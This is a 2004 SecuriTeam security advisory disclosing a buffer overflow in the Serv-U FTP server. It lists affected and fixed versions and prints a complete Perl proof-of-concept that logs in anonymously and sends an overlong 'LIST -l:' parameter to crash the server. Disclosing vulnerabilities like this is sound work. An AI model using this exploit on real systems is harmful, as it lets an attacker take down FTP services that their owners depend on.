

[NT] Serv-U LIST -I Parameter Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-04/0075.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 04/19/04

To: list@securiteam.com

Date: 19 Apr 2004 18:15:57 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Serv-U LIST -I Parameter Buffer Overflow

SUMMARY

<<http://www.serv-u.com/>> Serv-U is a "powerful, easy-to-use, award-winning FTP server" created by Rob Beckers. A vulnerability in the product allows a remote user to cause the server to fail by sending a malformed LIST command to the server.

DETAILS

Vulnerable Systems:

- * Serv-U version 5.0.0.4 and prior

Immune Systems:

- * Serv-U 5.0.0.6 and newer

A user issuing a long parameter (around 134 bytes) as a value for a LIST command (using the -I: parameter for that LIST command), can cause the server to try and read a value that is outside the memory location of the Serv-U's memory, this will cause an exception to be triggered (an unhandled exception), which in turn causes the program to crash.

Exploit:

```
#!/usr/bin/perl
```

Securiteam: [NT] Serv-U LIST -I Parameter Buffer Overflow

```
use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp",
    PeerAddr => $host,
    PeerPort => "2116",
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
    print $_;
    if (/220 /)
    {
        last;
    }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
    print $_;
    if (/331 /)
    {
        last;
    }
}

$ftp = join("", "PASS ", "a@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
    print $_;
    if (/230 /)
    {
        last;
    }
}
```

Securiteam: [NT] Serv-U LIST -I Parameter Buffer Overflow

```
my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
  print $_;
  if (/250 Done/)
  {
    last;
  }
}

close $remote;
```

ADDITIONAL INFORMATION

SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for finding this vulnerability.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.